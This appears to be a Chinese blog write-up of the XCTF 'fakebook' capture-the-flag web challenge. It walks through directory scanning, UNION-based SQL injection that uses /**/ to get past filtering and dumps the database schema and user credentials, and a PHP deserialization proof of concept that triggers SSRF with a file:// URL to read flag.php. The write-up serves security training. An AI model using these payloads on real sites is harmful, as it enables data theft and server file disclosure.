XCTF-Web-fakebook

打开网址

直接使用Acunetix扫描漏洞

 发现view.php存在CSS漏洞和SQL注入漏洞

使用dirmap扫描

在dirmap的路径下执行python dirmap.py -i 61.147.171.105:55611 -lcf

 扫描出来一个robots.txt文件,访问这个文件

 提示在/user.php.bak

保存文件查看 

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

这里存在SSRF,可以进行任意文件读取

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

偏向于使用SQL注入:

使用SQL注入漏洞

注册一个账号测试

 /view.php?no=3 and 1=2 注入测试,存在漏洞。

 利用order by 排序

/view.php?no=3 order by 3

/view.php?no=3 order by 4

/view.php?no=3 order by 5  到这里报错,说明字段数为4

 

利用union联合注入:/view.php?no=3 union select 1,2,3,4 

 没有回显,应该是被过滤了。

发现/**/能够绕过过滤,使用

/view.php?no=3 union/**/select 1,2,3,4

进行注入

执行注入:

/view.php?no=-1 union/**/select/**/1,group_concat(schema_name),3,4/**/from/**/information_schema.schemata

查询数据库名,可以得到fakebook数据库,跟题目信息一致。查看fakebook数据库中的表名。

查看表名,执行注入:

/view.php?no=-1 union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema='fakebook'

 表名是users,查看表中的信息,执行注入

:/view.php?no=-1 union /**/select /**/1,group_concat(column_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name='users'

表中有username,passwd等敏感信息。查询字段名:

 /view.php?no=-1 union /**/select /**/1,group_concat(no,'~',username,'~',passwd,'~',data),3,4/**/from/**/fakebook.users

可以发现data字段存放的就是序列化字符串,在使用的时候应该就会调用进行data字段进行反序列化操作

根据报错这里也知道了绝对路径是/var/www/html/

看文中的提示/var/www/html/view.php,我们也可以去猜测flag.php有可能在统一文件夹下,如/var/www/html/flag.php

构造反序列化POC

<?php
class UserInfo
{
    public $name = "123";
    public $age = 7;
    public $blog = "file:///var/www/html/flag.php";

}
$res = new UserInfo();
echo serialize($res);

 

执行后的反序列化内容

O:8:"UserInfo":3{s:4:"name";s:3:"123";s:3:"age";i:7;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

根据之前的注入可知,有回显的是第二位,也就是username字段,data对应应该就是第四个字段为,将反序列化字符串尝试以注入的方式写入:

/view.php?no=-1 union /**/select /**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:7;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' 

注入结果:

 成功写入了data字段,查看源代码,点击iframe的这段标签

 看到被加密的flag,使用的base64加密:PD9waHANCg0KJGZsYWcgPSAiZmxhZ3tjMWU1NTJmZGY3NzA0OWZhYmY2NTE2OGYyMmY3YWVhYn0iOw0KZXhpdCgwKTsNCg==

 得到flag:flag{c1e552fdf77049fabf65168f22f7aeab}

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值